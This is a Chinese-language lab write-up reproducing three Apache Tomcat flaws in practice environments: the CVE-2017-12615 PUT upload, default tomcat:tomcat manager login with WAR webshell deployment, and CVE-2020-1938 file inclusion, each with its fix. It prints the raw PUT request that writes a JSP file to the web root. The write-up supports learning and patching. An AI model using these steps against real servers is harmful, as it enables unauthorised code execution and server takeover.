目录
Tomcat 远程代码执行漏洞(CVE-2017-12615)
漏洞描述
漏洞原理
漏洞复现
漏洞修复
tomcat弱口令&war远程部署
漏洞原理
漏洞复现
漏洞修复
Apache Tomcat文件包含漏洞(CVE-2020-1938)
漏洞复现
漏洞修复
Tomcat 远程代码执行漏洞(CVE-2017-12615)
漏洞描述
当 Tomcat运行在Windows操作系统时,且启用了HTTP PUT请求方法(例如,将 readonly 初始化参数 由默认值设置为 false),攻击者将有可能可通过精心构造的攻击请求数据包向服务器上传包含任意代 码的 JSP 文件,JSP文件中的恶意代码将能被服务器执行。导致服务器上的数据泄露或获取服务器权限。
漏洞原理
漏洞本质Tomcat配置了可写(readonly=false),导致我们可以往服务器写文件:
<servlet>
<servlet-name>default</servlet-name>
<servlet-class>org.apache.catalina.servlets.DefaultServlet</servlet-class>
<init-param>
<param-name>debug</param-name>
<param-value>0</param-value>
</init-param>
<init-param>
<param-name>listings</param-name>
<param-value>false</param-value>
</init-param>
<init-param>
<param-name>readonly</param-name>
<param-value>false</param-value>
</init-param>
<load-on-startup>1</load-on-startup>
</servlet>
虽然Tomcat对文件后缀有一定检测(不能直接写jsp),但我们使用一些文件系统的特性(如Linux下可用`/`)来绕过了限制。
漏洞复现
启动靶场
[root@server CVE-2017-12615]# docker-compose up -d 启动靶场
[root@server CVE-2017-12615]# docker-compose ps 查看端口
访问靶场页面
用bp抓包直接发送以下数据包即可在Web根目录写入shell:
PUT /1.jsp/ HTTP/1.1
Host: your-ip:8080
Accept: */*
Accept-Language: en
User-Agent: Mozilla/5.0 (compatible; MSIE 9.0; Windows NT 6.1; Win64; x64; Trident/5.0)
Connection: close
Content-Type: application/x-www-form-urlencoded
Content-Length: 5
shell
访问该文件,成功显示,也可将shell内容改为自己写的shell代码
漏洞修复
设置 readonly未true
tomcat弱口令&war远程部署
漏洞原理
在tomcat8环境下默认进入后台的密码为tomcat/tomcat,未修改造成未授权即可进入后台,或者管理员把密码设置成弱口令, 使用工具对其进行穷举。得到密码后,也可以进行后台上传恶意代码控制服务器。
漏洞复现
启动靶场
[root@server tomcat8]# docker-compose up -d 启动靶场
[root@server tomcat8]# docker-compose ps 查看端口
打开tomcat管理页面`http://your-ip:8080/manager/html`,输入弱密码`tomcat:tomcat`,即可访问后台:
制作一个木马
将它压缩成压缩包
将后缀名改为war
找到上传入口上传war文件
可以看到上传成功
用蚁剑链接成功
漏洞修复
1.在conf/tomcat-users.xml下设置强口令
2.删除manger文件
Apache Tomcat文件包含漏洞(CVE-2020-1938)
Tomcat是Apache开源组织开发的用于处理HTTP服务的项目,两者都是免费的,都可以做为独立的 Web服务器运行。Apache Tomcat服务器存在文件包含漏洞,攻击者可利用该漏洞读取或包含 Tomcat 上所有 webapp 目录下的任意文件,如:webapp 配置文件或源代码等。
影响版本
Apache Tomcat 6
Tomcat 7系列 <7.0.100
Tomcat 8系列 < 8.5.51
Tomcat 9 系列 <9.0.31
漏洞复现
[root@server CVE-2020-1938]# docker-compose up -d 启动靶场
[root@server CVE-2020-1938]# docker-compose ps 查看端口
通过nmap查看8009和8080端口是否开放
在kali上下载poc代码验证
漏洞修复
1.更新到安全版本
2.关闭AJP服务
3.配置ajp配置中的secretRequired跟secret属性来限制认证